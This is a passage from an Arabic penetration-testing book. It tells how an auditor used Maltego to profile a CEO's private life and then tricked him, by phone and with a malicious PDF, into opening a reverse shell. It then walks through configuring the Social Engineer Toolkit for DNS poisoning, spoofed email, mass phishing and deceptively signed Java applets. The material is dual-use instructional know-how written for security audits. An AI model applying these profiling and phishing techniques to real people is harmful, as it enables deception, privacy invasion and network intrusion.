‫ﺑﻛﺛﯾر‪ .‬ﻣﺛل ﻣﺎﻟك ﺷرﻛﺔ اﻟطﺑﺎﻋﺔ ﻛﺎن ﻛل ﺷﻲء ﻋن ﻋﻣﻠﮫ‪ ،‬وﻟم ﯾﺳﺗﺧدم اﻟﺗﻛﻧوﻟوﺟﯾﺎ إﻟﻰ أﻗﺻﻰ ﺣد‪ .‬ﺑﺎﻟﺗﺄﻛﯾد ھذه اﻟﻣﮭﻣﺔ ﻛﺎﻧت ﺳﺗﻛون ﺻﻌﺑﺔ‪.‬‬
‫ﻗﻣت ﺑﺎﺳﺗﺧدام ‪ Maltego‬أوﻻ‪ .‬ﺑﺎﺳﺗﺧدام دوﻣﯾن اﻟﺷرﻛﺔ ﻓﻘط وﺳﺣب ﻣﺎ ﯾﺻل ﻣن ﻛﺎﻓﺔ ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﻣرﺗﺑطﺔ ﻣﻌﻠوﻣﺎﺗﮭم‬
‫ﺑﺎﻟدوﻣﯾن ﻧﻔﺳﮫ واﻟﺗﻲ أﻋطﺎﻧﻲ ﻗﺎﻋدة ﻟطﯾﻔﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت ﻟﺑدء اﻟﺑﺣث ﻣﻌﮭﺎ‪ .‬وﺑﻌد ذﻟك ﯾﻔﺗش أﻋﻣﻖ ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‬
‫ﻟﻠرﺋﯾس اﻟﺗﻧﻔﯾذي ﺗم اﺳﺗﺧداﻣﮫ ﻋﻠﻰ أي ﻣواﻗﻊ أو ﻋﻧﺎوﯾن ‪ URL‬أﺧرى‪ .‬ﻟﻘد وﺟدت اﻧﮫ ﻗد اﺳﺗﻌراض زوﺟﯾن ﻟﻣطﻌم ﻣﺣﻠﻲ ورﺑطﮭﻣﺎ ﺑﻌﻧوان‬
‫ﺑرﯾده اﻹﻟﻛﺗروﻧﻲ ﻋﻠﻧﺎ‪ .‬ﻛﻣﺎ اﻧﮫ ﯾﺳﺗﺧدم ﻓﻲ اﺳﺗﻌراض ﻷﺣد اﻟﻣطﺎﻋم ﻓﻲ دوﻟﺔ ﻣﺧﺗﻠﻔﺔ‪ .‬ﻛﺷﻔت اﻟﻘراءة اﺳﺗﻌراﺿﮫ ﺗﻣﺎﻣﺎ أﻧﮫ زار ھذا اﻟﻣطﻌم‬
‫ﻋﻧدﻣﺎ ﻛﺎن ﯾزور ﻋﺎﺋﻠﺗﮫ ﻓﻲ ﺗﻠك اﻟدوﻟﺔ‪ ،‬وﺣﺗﻰ ﺗﺳﻣﯾﺔ ﺷﻘﯾﻘﮫ ﻓﻲ اﻻﺳﺗﻌراض‪ .‬ﻣﻊ ﻋدد ﻗﻠﯾل ﻣن ﻋﻣﻠﯾﺎت اﻟﺑﺣث ﻓﻲ ‪ Maltego‬وﺟدت ان‬
‫واﻟدﯾﮫ وﺷﻘﯾﻘﮫ ﻓﻲ ﺗﻠك اﻟﻣﻧطﻘﺔ‪ .‬وھﻧﺎك ﻋدد ﻗﻠﯾل ﻣن أﻛﺛر ﻋﻣﻠﯾﺎت اﻟﺑﺣث ﻣﻊ اﺳم اﻟﻌﺎﺋﻠﺔ وﻟﻘد وﺟدت ﺑﻌض اﻟرواﺑط اﻟﺗﻲ ﺗﺣدﺛت ﻋن اﺳﺗﺧدام‬
‫ﺑرﯾد إﻟﻛﺗروﻧﻲ آﺧر ﻟدﯾﮫ ﻓﻲ اﻷﻋﻣﺎل ﺑدأ ھﻧﺎ ﻣﻧﺎﻗﺷﺔ ﻣﺷﻛﻠﺔ أﺟراھﺎ ﻣﻊ ﻛﻧﯾﺳﺔ ﻣﺣﻠﯾﺔ واﻧﺗﻘﺎﻟﮫ إﻟﻰ واﺣدة ﺟدﯾدة‪ .‬ﻓﻲ وﻗت ﻻﺣﻖ‪ ،‬وﺟدت ﺑﻠوق‬
‫وظﯾﻔﺔ رﺑط ﺻﻔﺣﺗﮫ اﻟﻔﺎﺳﺑوك ﻣﻊ ﺻور ﻟﻌﺎﺋﻠﺗﮫ ﺑﻌد ﻣﻐﺎدرﺗﮭم ﻟﻌﺑﺔ اﻟﻛرة ﺣﯾث ﻟﻌب ﻓرﯾﻘﮭم اﻟﻣﻔﺿل‪ .‬ھﻧﺎ ھو ﻣﺎ اﺳﺗطﻌت أن ﺗﺟد ﻓﻲ أﻗل ﻣن‬
‫ﺳﺎﻋﺗﯾن ﻣن اﻟﺑﺣث ﺑﺎﺳﺗﺧدام‪: Maltego‬‬
‫‪ -‬طﻌﺎﻣﮫ اﻟﻣﻔﺿل‬
‫‪ -‬ﻣطﻌﻣﮫ اﻟﻣﻔﺿل‬
‫‪ -‬أﺳﻣﺎﺋﮫ اﻻطﻔﺎل واﻷﻋﻣﺎر‬
‫‪ -‬اﻧﮫ ﻣطﻠﻖ‬
‫‪ -‬أﺳﻣﺎء واﻟدﯾﮫ‬
‫‪ -‬اﺳم ﺷﻘﯾﻘﮫ‬
‫‪ -‬ﺣﯾث ﻧﺷﺄ وﺗرﻋرع‬
‫‪ -‬دﯾﻧﮫ‬
‫‪ -‬ﻓرﯾﻘﮫ اﻟرﯾﺎﺿﻲ اﻟﻣﻔﺿل‬
‫‪ -‬ﻣﺎ ﺑدا ﻟﮫ اﻷﺳرة ﺑﺄﻛﻣﻠﮭﺎ‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪963‬‬

‫‪ -‬ﺗﺟﺎرﺗﮫ اﻟﻣﺎﺿﯾﺔ‬
‫ﺑﻌد ﯾوم أرﺳﻠت ﺣزﻣﺔ إﻟﻰ اﻟﮭدف ﺗﺣﺗوي ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﻋن اﻟﺳﺣب ﻟﻠﺷرﻛﺎت اﻟﻣﺣﻠﯾﺔ‪ .‬ﻛﺎن اﻟﻌرض إذا ﻓﺎز ﯾﺣﺻل ﻋﻠﻰ ﻋﺷﺎء ﻣﺟﺎﻧﻲ ﻓﻲ‬
‫ﻣطﻌم ﻛﺎن ﻋﻠﻰ اﻟﻧﺣو اﻟوارد اﻟﻣﻔﺿل ﻟدﯾﮫ‪ ،‬وﺛﻼث ﺗذاﻛر ﻣﺟﺎﻧﯾﺔ ﻟﻌﺑﺔ ﯾﺎﻧﻛﯾز‪ .‬ﺟﻣﯾﻊ اﻷﻋﻣﺎل اﻟﻘﯾﺎم ﺑﮫ ھو اﻻﺗﻔﺎق ﻋﻠﻰ ﻋﻘد اﺟﺗﻣﺎع ﻗﺻﯾر ﻣﻊ‬
‫ﻣﻧدوب ﻣﺑﯾﻌﺎت ﻟﻠﺣدﯾث ﻋن ﺟﻣﻌﯾﺔ ﺧﯾرﯾﺔ ﻣﺣﻠﯾﺔ‪ .‬إذا اﺗﻔﻘت اﻷﻋﻣﺎل ﻟﮭذا اﻻﺟﺗﻣﺎع ﯾﻣﻛن إدﺧﺎل اﺳﻣﮫ ﻓﻲ اﻟﺳﺣب ﻟﻠﺣﺻول ﻋﻠﻰ ﻓرﺻﺔ ﻟﻠﻔوز‬
‫ﺑﺗذاﻛر ﯾﺎﻧﻛﯾز‪ .‬اﺳم اﻟذرﯾﻌﺔ ﻛﺎﻧت "ﺟو" وأﻧﺎ أﻋد ﻣﺧططﺎ ﻟدﻋوة اﻟرﺋﯾس اﻟﺗﻧﻔﯾذي‪ .‬ﻛﺎن ھدﻓﻲ ﺣﻣﻠﮫ ﻋﻠﻰ ﻗﺑول ﻣﻠف ‪ PDF‬ﻣﻧﻲ‪ .‬ﺑﺣﻠول اﻟوﻗت‬
‫ﻗﻣت ﺑﺎﻻﺗﺻﺎل ﺑﮫ‪ ،‬واﻧﮫ ﻛﺎن ﯾﺟب أن ﯾﺗﻠﻘﻰ ﺣزﻣﺔ "اﻟﺑرﯾد" اﻟﺧﺎﺻﺔ ﺑﻲ وأﻧﺎ ﯾﻣﻛن اﺳﺗﺧدام اﻟﺧط ﺑﺳﮭوﻟﺔ‪" ،‬ﻧﻌم‪ ،‬اﻧﮫ ﯾﺗوﻗﻊ دﻋوﺗﻲ"‪.‬‬
‫ﺑﯾﻧﻣﺎ ﻋﻠﻰ اﻟﮭﺎﺗف ﻣﻊ "ﺟو" ﻗﺑل اﻟرﺋﯾس اﻟﺗﻧﻔﯾذي وﻓﺗﺢ رﺳﺎﻟﺔ ﺑرﯾد إﻟﻛﺗروﻧﻲ واﻟﺗﻲ ﺗﺣﺗوي ﻋﻠﻰ ﺟﻣﯾﻊ ﺗﻔﺎﺻﯾل اﻟﺳﺣب وﻛذﻟك اﻟﻣﻠف اﻟﻣﺷﻔر‬
‫ﺑﺷﻛل ﺿﺎر‪ ،‬وﺿﻣﺎن إﯾﺻﺎل ﺷل ﻋﻛﺳﻲ‪ ،‬ﻣﻣﺎ ﯾﺗﯾﺢ ﻟﻲ اﻟوﺻول إﻟﻰ ﺷﺑﻛﺗﮫ‪.‬‬
‫ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﻗﺎل اﻧﮫ ﻟم ﯾﺣﺻل ﺷﻲء ﻋﻠﻰ اﻟﺷﺎﺷﺔ ﻟﮫ وﻛﺎن ﻣﺣﺑطﺎ أن أدوﺑﻲ أﺻﺑﺣت ﻻ ﺗﻌﻣل‪ .‬ﻗﻠت ﻟﮫ‪" :‬أﻧﺎ آﺳف ﻛﻧت ﺗواﺟﮫ ﻣﺷﺎﻛل ﻓﻲ‬
‫ﻓﺗﺢ اﻟﻣﻠف؛ ﺳﻧﻘوم ﺑﺈدراج اﺳﻣك ﻓﻲ اﻟﺳﺣب وﺳوف ﻧرﺳل ﺑﺎﻟﺑرﯾد ﺑﻌض ﻣن اﻟﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت إﻟﯾﻛم اﻟﯾوم "‪ .‬وﻟﻛن ﻗﺑل أن ﺗذھب اﻟﺣزﻣﺔ‬
‫إﻟﻰ اﻟﺑرﯾد ﻛﻧت ﻗد دﻋوت اﻟﻰ اﺟﺗﻣﺎﻋﺎ ﻟﻣﻧﺎﻗﺷﺔ اﻟﺗﻘرﯾر ﻛﯾف ﺗم اﺧﺗراق اﻟﮭدف ﺗﻣﺎﻣﺎ‪.‬‬
‫ﻛﺎﻧت ﻏﺎﻟﺑﯾﺔ ھذا اﻟﻧﺟﺎح ﻧﺗﯾﺟﺔ ﻻﺳﺗﺧدام أداة واﺣدة ‪ .Maltego‬اﻧﮭﺎ ﺳﺎﻋدت ﻓﻲ ﺟﻣﻊ وﺗﻧظﯾم وﺗﺻﻧﯾف اﻟﺑﯾﺎﻧﺎت ﻷﻓﺿل اﺳﺗﺧدام‪.‬‬
‫ﻛﯾف ﺳﺎﻋدﻧﻲ ‪ Maltego‬ﻓﻲ ھذا اﻟﻧﺟﺎح؟‬
‫اﻟﺗﻔﻛﯾر ﻓﻲ ‪ Maltego‬ﻛﻘﺎﻋدة ﺑﯾﺎﻧﺎت ﻟﻠﻣﻌﻠوﻣﺎت ذات اﻟﻌﻼﻗﺔ‪ ،‬وإﯾﺟﺎد اﻟرواﺑط ﺑﯾن أﺟزاء ﻣن اﻟﻣﻌﻠوﻣﺎت ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت )ﯾﺷﺎر إﻟﻰ‬
‫اﻟﻛﯾﺎﻧﺎت داﺧل اﻟﺗطﺑﯾﻖ(‪ Maltego .‬أﯾﺿﺎ ﯾﺄﺧذ اﻟﻛﺛﯾر ﻣن اﻟﻌﻣل اﻟﺷﺎق ﻣن اﻟﺗﻌدﯾن ﻣﻌﻠوﻣﺎت ﻣﺛل ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ واﻟﻣواﻗﻊ‬
‫اﻹﻟﻛﺗروﻧﯾﺔ‪ ،‬ﻋﻧﺎوﯾن ﺑروﺗوﻛول اﻹﻧﺗرﻧت‪ ،‬وﻣﻌﻠوﻣﺎت اﻟدوﻣﯾن‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﯾﻣﻛﻧك اﻟﺑﺣث ﻋن أي ﻋﻧوان ﺑرﯾد إﻟﻛﺗروﻧﻲ ﺿﻣن دوﻣﯾن‬
‫اﻟﮭدف أو اﻟﻧطﺎﻗﺎت ﺗﻠﻘﺎﺋﯾﺎ ﻣﻊ ﺑﺿﻊ ﻧﻘرات‪ .‬ﺑﺑﺳﺎطﺔ ﻋن طرﯾﻖ إﺿﺎﻓﺔ "‪ "EMAIL‬ﺗﺣوﯾل اﻟﺷﺎﺷﺔ ﺛم اﻟﻧﻘر ﻓﻲ ﻣرﺑﻊ وﻛﺗﺎﺑﺔ اﻟﺑرﯾد‬
‫اﻹﻟﻛﺗروﻧﻲ أرﯾد اﻟﺑﺣث ﻋﻧﮫ‪.‬‬
‫ﻟﻣﺎذا ﻧﺳﺗﺧدم ‪Maltego‬؟‬
‫‪ Maltego‬ﯾﻘوم ﺑﺗﻔﻌﯾل اﻟﻛﺛﯾر ﻣن ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت واﻟﺑﯾﺎﻧﺎت اﻟﻣرﺗﺑطﺔ ﺑﻧﺳﺑﮫ ﻛﺑﯾره ﺑﺎﻟﻣﺳﺗﺧدم‪ ،‬وﺗوﻓﯾر ﺳﺎﻋﺎت اﻟﺑﺣث ﻓﻲ ﺟوﺟل ﻟﻠﺣﺻول‬
‫ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت وﺗﺣدﯾد اﻟﻛﯾﻔﯾﺔ اﻟﺗﻲ ﯾرﺗﺑط ﻛل ﺗﻠك اﻟﻣﻌﻠوﻣﺎت‪ .‬إﯾﺟﺎد ﻋﻼﻗﺎت اﻟﺑﯾﺎﻧﺎت ھذه ﺣﯾث اﻟﻘوة اﻟﺣﻘﯾﻘﯾﺔ ل‪ . Maltego‬ﻋﻠﻰ اﻟرﻏم ﻣن‬
‫أن اﻟﺗﻌدﯾن ﻣﻔﯾد‪ ،‬وﻟﻛن اﻛﺗﺷﺎف اﻟﻌﻼﻗﺎت ﺑﯾن اﻟﻣﻌﻠوﻣﺎت ھو ﻣﺎ ﺳﯾﺳﺎﻋد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻓﻲ اﻟﻘﺻﺔ اﻟﺳﺎﺑﻘﺔ ﺳﺎھﻣت إﻟﻰ ﺣد ﻛﺑﯾر ﻓﻲ‬
‫ﻧﺟﺎح ﻣﻣﺎرﺳﺔ ‪ ،Maltego‬وﻟﻛن ﺟﺎء اﻟﺣل اﻟوﺳط ﻣﻊ أداة أﺧرى ﻣدھﺷﺔ‪.‬‬

‫‪SET: Social Engineer Toolkit‬‬

‫اﻟﻣﺻدر‪https://www.trustedsec.com/ :‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻘﺿﻰ اﻟﻛﺛﯾر ﻣن وﻗﺗﮫ ﻓﻲ اﺗﻘﺎن اﻟﺟﺎﻧب اﻹﻧﺳﺎﻧﻲ ﻣن ﻣﮭﺎراﺗﮫ‪ ،‬وﻟﻛن اﻟﻌدﯾد ﻣن ﻧﺎﻗﻼت اﻟﮭﺟوم ﯾﺗم اﺳﺗﺧداﻣﮭﺎ ﻧﺗﯾﺟﺔ‬
‫ﻗدرﺗﮭﺎ ﻋﻠﻰ إﻧﺗﺎج رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ أو ﻣﻠﻔﺎت ‪ PDF‬ﻣﻊ اﻟﺷﯾﻔرات اﻟﺧﺑﯾﺛﺔ‪ .‬ﻛل ھذه اﻷﻣور ﯾﻣﻛن اﻟﻘﯾﺎم ﺑﮫ ﯾدوﯾﺎ ﺑﺎﺳﺗﺧدام اﻟﻌدﯾد ﻣن‬
‫اﻷدوات اﻟﺗﻲ ﺗوﺟد ﻓﻲ ﻛﺎﻟﻲ‪.‬‬
‫‪ SET‬ھﻲ أداة ﻗﺎم ﺑﺻﻧﺎﻋﺗﮭﺎ دﯾف ﻛﯾﻧﯾدي اﻟذى أﻧﺷﺎء ﻣن ﻗﺑل أداة ذات ﺷﻌﺑﯾﮫ ﺗﺳﻣﻰ ‪ FastTrack‬واﻟﺗﻲ ﺗﻘوم ﺑﺎﻟﻌدﯾد ﻣن اﻟﮭﺟﻣﺎت ﻓﻲ‬
‫اﺧﺗﺑﺎر اﻻﺧﺗراق‪ ,‬ﻗﺎم دﯾف ﺑﺻﻧﻊ ‪ SET‬ﻣن ﺧﻼل ﺳﻛرﯾﺑﺎت ﺑﺎﯾﺛون ﺳﮭﻠﺔ ﺗﺳﻣﺢ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻹﻧﺷﺎء ﻣﻠﻔﺎت ‪ PDF‬وإرﺳﺎل رﺳﺎﺋل‬
‫اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣﻊ اﻟﺷﯾﻔرات اﻟﺧﺑﯾﺛﺔ اﻟﻣﺗﺿﻣﻧﺔ ﻓﯾﮭﺎ‪ .‬ﻛﺎﻧت ھذه وﻻدة أدوات اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ )‪ .(SET‬ﻓﻲ وﻗت ﻛﺗﺎﺑﺔ ھذا اﻟﺗﻘرﯾر‪،‬‬
‫‪ SET‬ﻗد ﺗم ﺗﺣﻣﯾﻠﮭﺎ أﻛﺛر ﻣن ‪ 1.5‬ﻣﻠﯾون ﻣرة‪ ،‬وأﺻﺑﺣت ﺑﺳرﻋﺔ ﻗﯾﺎﺳﯾﺔ أداه ﻣن أدوات ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ھذا اﻟﻘﺳم ﯾرﺷدك ﻣن‬
‫ﺧﻼل ﺑﻌض اﻟﻧﻘﺎط اﻟرﺋﯾﺳﯾﺔ وﻛﯾﻔﯾﺔ ﺗوظﯾﻔﮭﺎ‪.‬‬
‫ھذه اﻷداة ﯾﻣﻛن ﺗﺣﻣﯾﻠﮭﺎ ﻣن ﺧﻼل اﻟﻣوﻗﻊ اﻟﺗﺎﻟﻲ‪:‬‬
‫‪https://github.com/trustedsec/social-engineer-toolkit/‬‬
‫‪Running SET‬‬
‫ﺗﺷﻐﯾل ‪ SET‬ھو ﻋﻣﻠﯾﺔ ﺳﮭﻠﺔ‪ .‬ﺑﺑﺳﺎطﺔ وذﻟك ﻣن ﺧﻼل اﺗﺑﺎع اﻟﻣﺳﺎر اﻟﺗﺎﻟﻲ ﻓﻲ ﻧظﺎم اﻟﺗﺷﻐﯾل ﻛﺎﻟﻲ‪:‬‬
‫‪Application  Kali Linux  Exploitation Tools  Social Engineer Toolkit  setoolkit‬‬
‫او ﻣن ﺧﻼل ﻛﺗﺎﺑﺔ اﻻﻣر ‪ setoolkit‬ﻓﻲ اﻟﺗرﻣﻧﺎل‪.‬‬
‫اﻟﻌﻘل اﻟﻣدﺑر وراء ‪ SET‬ھو ﻣﻠف اﻟﺗﻛوﯾن‪/‬اﻻﻋداد‪ SET .‬ﻣﻊ اﻻﻋدادات اﻻﻓﺗراﺿﯾﺔ ﻣﺛﺎﻟﯾﺔ ﻟﻣﻌظم اﻟﻧﺎس وﻟﻛن ﻣﻊ ذﻟك‪ ،‬ﻗد ﯾﻠزم اﻟﺗﺧﺻﯾص‬
‫اﻟﻣﺗﻘدم ﻣن أﺟل ﺿﻣﺎن أن ﻣوﺟﮭﺎت اﻟﮭﺟوم ﺗذھب دون ﻋﻘﺑﺔ‪ .‬أول ﺷﻲء ﻓﻌﻠﮫ ھو اﻟﺗﺄﻛد ﻣن أﻧك ﻗﻣت ﺑﺗﺣدﯾث ‪.SET‬‬
‫ﻋﻧد ﺗﺷﻐﯾل ‪ SET‬ﻓﺎن ھذا ﯾؤدى اﻟﻰ ظﮭور اﻟﺷﺎﺷﺔ اﻟﺗﺎﻟﯾﺔ ﻣﻊ ﺗﻘدﯾم ﻗﺎﺋﻣﮫ ﻣن اﻟﺧﯾﺎرات ﻛﺎﻻﺗﻲ‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪964‬‬

‫‪ -‬ﻟﻌﻣل ﺗﺣدﯾث ﻟﻠﺑرﻧﺎﻣﺞ ﻧﻘوم ﺑﻛﺗﺎﺑﺔ اﻟرﻗم ‪ 5‬وذﻟك ﻟﻌم ﺗﺣدﯾث‪.‬‬

‫‪ -‬ﻟﻌﻣل ﺗﺣدﯾث ﻟﻣﻠﻔﺎت اﻟﺗﻛوﯾن‪/‬اﻻﻋداد وذﻟك ﻣن ﺧﻼل ﻛﺗﺎﺑﺔ اﻟرﻗم ‪ 6‬ﻛﺎﻻﺗﻲ‪:‬‬
‫وﻛﻣﺎ ﻗﻠﻧﺎ ﺳﺎﺑﻘﺎ ان ﻋﻘل ‪ SET‬ھو ﻣن ﺧﻼل ﻣﻠﻔﺎت اﻟﺗﻛوﯾن واﻟﻣوﺟودة ﻓﻲ اﻟﻣﺳﺎر ‪./usr/share/set‬‬
‫إﻋﺪاد ‪SET‬‬
‫أوﻻ ﻧﻘوم ﺑﻔﺗﺢ اﻟﻣﻠف ‪ config/set_config‬ﺑﺎي ﻣﺣرر ﻹﻋداد اﻹﻋدادات اﻟﺗﻲ ﺗرﯾدھﺎ ﻛﺎﻻﺗﻲ‪.‬‬

‫ﻧﺑﺣث ﻣن ﺧﻼل ﺧﯾﺎرات اﻟﺗﻛوﯾن‪ ،‬ﯾﻣﻛﻧك ﺗﻐﯾﯾر ﺣﻘول ﻣﺣددة ﻟﻠﺣﺻول ﻋﻠﻰ ﻧﺗﯾﺟﺔ ﻣرﺟوة‪ .‬ﻓﻲ اﻟﺧﯾﺎر اﻷول‪ ،‬ﯾﻣﻛﻧك ﺗﻐﯾﯾر اﻟﻣﺳﺎر ﺣﯾث ﻣوﻗﻊ‬
‫‪ .Metasploit‬ﺣﯾث ﯾﺗم اﺳﺗﺧدام ‪ Metasploit‬ﻹﻧﺷﺎء ‪ ،file format bugs ،payload‬وﻗﺳم ‪.browser exploit‬‬

‫ﻗﺳم ‪ Ettercap‬ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻋﻧدﻣﺎ ﺗﻛون ﻋﻠﻰ ﻧﻔس اﻟﺷﺑﻛﺔ اﻟﻔرﻋﯾﺔ ﻟﻠﺿﺣﺎﯾﺎ وﺗرﯾد ﺗﻧﻔﯾذ ھﺟﻣﺎت ‪ DNS Poisoning‬ﻟﻣﺟﻣوﻋﺔ ﻓرﻋﯾﺔ‬
‫ﻣن ﻋﻧﺎوﯾن ‪ .IP‬ﻋﻧدﻣﺎ ﯾﺗم ﺗﻌﯾﯾن اﻟﻌﻼﻣﺔ ‪ ETTERCAP=OFF‬إﻟﻰ ‪ ،ETTERCAP=ON‬ﻓﺈﻧﮫ ﺳﯾﺗم ﺗﺳﻣﯾم اﻟﺷﺑﻛﺔ اﻟﻔرﻋﯾﺔ اﻟﻣﺣﻠﯾﺔ‬
‫ﺑﺄﻛﻣﻠﮭﺎ وإﻋﺎدة ﺗوﺟﯾﮫ ﻣوﻗﻊ ﻣﻌﯾن أو ﻛل اﻟﻣواﻗﻊ إﻟﻰ اﻟﺧﺎدم اﻟﺧﺑﯾث ﻋﻠﻰ اﻟﺗواﻟﻲ‪.‬‬

‫ووﺿﻊ اﻟﻣﻌﺎﻣل ‪ SENDMAIL‬إﻟﻰ اﻟوﺿﻊ ‪ ON‬ﻓﺎﻧﮫ ﺳوف ﯾﺣﺎول ﺑدء ‪ ،SENDMAIL‬واﻟﺗﻲ ﯾﻣﻛﻧﮫ اﻧﺗﺣﺎل ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‬
‫اﻟﻣﺻدر‪ .‬ﯾﻌﻣل ھذا اﻟﮭﺟوم ﻓﻘط إذا ﻛﺎن ﺧﺎدم ‪ SMTP‬اﻟﺿﺣﯾﺔ ﻟن ﯾﻘوم ﺑﻌﻣﻠﯾﺎت اﻟﺑﺣث اﻟﻌﻛﺳﻲ ﻋﻠﻰ اﺳم اﻟﻣﺿﯾف‪ .‬ﯾﺟب ﺗﺛﺑﯾت‬
‫‪ .SENDMAIL‬إذا ﻛﺎن ﻟدﯾك ﻧﺳﺧﺔ ﻛﺎﻟﻲ‪ ،‬ﻓﺎﻧﮫ ﯾﺗم ﺗﺛﺑﯾﺗﮫ ﺑﺷﻛل اﻓﺗراﺿﻲ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪965‬‬

‫ﻋﻧد ﺗﺣدﯾد اﻟﻣﻌﺎﻣل ‪ WEBATTACK_EMAIL‬إﻟﻰ ‪ ،ON‬ﻓﺄﻧﮭﺎ ﺳوف ﺗﺳﻣﺢ ﻟك ﻹرﺳﺎل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﺟﻣﺎﻋﯾﮫ اﻟﻰ اﻟﺿﺣﯾﺔ‬
‫ﻣﻊ اﻻﺳﺗﻔﺎدة ﻣن ﻧﺎﻗﻼت ھﺟوم اﻟوﯾب )‪ .(Web Attack vector‬ﺗﻘﻠﯾدﯾﺎ ﺟﺎﻧب اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣﺗﺎح ﻓﻘط ﻣن ﺧﻼل ﻗﺎﺋﻣﺔ ‪spear-phishing‬‬
‫ﻣﮭﻣﺎ ﯾﻛن ﻋﻧدﻣﺎ ﯾﺗم ﺗﻣﻛﯾن ھذا ﻓﺎن ﺳوف ﯾﻘوم ﺑﺈﺿﺎﻓﺔ وظﺎﺋف إﺿﺎﻓﯾﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟك ﻟﺗﻛون ﻗﺎدر ﻋﻠﻰ إرﺳﺎل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﻰ‬
‫اﻟﺿﺣﯾﺔ ﻣﻊ وﺻﻼت ﻟﻠﻣﺳﺎﻋدة ﻓﻲ ﺗﺣﺳﯾن اﻟﮭﺟﻣﺎت اﻟﺧﺎص ﺑك‪.‬‬

‫ﻧﺎﻗل ھﺟوم ﺟﺎﻓﺎ اﺑﻠت "‪ "Java Applet Attack vector‬ھو اﻟﮭﺟوم ذات أﻋﻠﻰ ﻣﻌدل ﻣن اﻟﻧﺟﺎح واﻟﺗﻲ ﯾﻣﻠﻛﮫ ‪ SET‬ﻓﻲ ﺗرﺳﺎﻧﺗﮫ‪ .‬ﻟﺟﻌل‬
‫اﻟﮭﺟوم ﯾﺑدو أﻛﺛر ﺗﺻدﯾﻖ‪ ،‬ﯾﻣﻛﻧك ﺗﺷﻐﯾل ھذ اﻟﻣﻌﺎﻣل اﻟﻰ اﻟوﺿﻊ ‪ ON‬واﻟﺗﻲ ﺗﺳﻣﺢ ﻟك ﻟﺗﺳﺟﯾل ﺑرﻧﺎﻣﺞ ‪ Java‬ﻣﻊ أﯾﺎ ﻛﺎن اﻻﺳم اﻟذي ﺗرﯾده‪.‬‬
‫ﻓﻠﻧﻔرض ﻣﺛﻼ ان اﻟﮭدف اﻟﺧﺎص ﺑك‪ ،‬ھو ‪Java Applet ،CompanyX‬اﻟﻘﯾﺎﺳﯾﺔ ﯾﺗم ﺗﺳﺟﯾﻠﮭﺎ ﻣن ﻗﺑل ‪ ،Microsoft‬ﯾﻣﻛﻧك ﺗﺳﺟﯾل‬
‫‪Applet‬ﻣﻊ ‪ CompanyX‬ﻟﺟﻌﻠﮭﺎ ﺗﺑدو أﻛﺛر ﺗﺻدﯾﻖ‪ .‬ھذا ﺳوف ﯾﺗطﻠب ﻣﻧك ﺗﺛﺑﯾت ‪) java’s jdk‬ﻓﻲ أوﺑوﻧﺗو ﯾﺗم ذﻟك ﻣن ﺧﻼل ﻛﺗﺎﺑﺔ‬
‫اﻟﺳطر اﻟﺗﺎﻟﻲ ﻓﻲ اﻟﺗرﻣﻧﺎل "‪.("apt-get install sun-java6-jdk or openjdk-6-jdk‬‬

‫ﻋﻧدﻣﺎ ﯾﺣﺻل اﻟﻣﺳﺗﺧدم ﻋﻠﻰ ﺗﺣذﯾر ‪ ،java applet‬ﻓﺳوف ﯾرى "‪ "Verified Trusted and Secure‬ﻛﺎﺳم ﻠ ‪ Applet‬ﺑدﻻً ﻣن ﻋﻧوان‬
‫‪ .IP‬وھذا ﺳوف ﯾﺿﯾف ﻣﺻداﻗﯾﺔ ﻠ ‪ .java applet‬اﻟﺧﯾﺎر اﻟﺛﺎﻧﻲ ﺳﯾﺗم ﻣطﺎﻟﺑﺔ اﻟﻣﺳﺗﺧدم ﻣرارا وﺗﻛرارا ﻣﻊ ﺗﺣذﯾرات ‪Java Applet‬‬
‫اﻟﻣزﻋﺟﺔ إذا ﻗﺎم ﺑﺎﻟﻧﻘر ﻓوق "إﻟﻐﺎء )‪ ."(cancel‬ﻓﮭذا ﺳوف ﯾﻛون ﻣﻔﯾد ﻋﻧدﻣﺎ ﯾﻧﻘر اﻟﻣﺳﺗﺧدم ﻓوق ‪ ،cancel‬وﺳوف ﺗﻛون ﻋدﯾﻣﺔ اﻟﮭﺟوم‪،‬‬
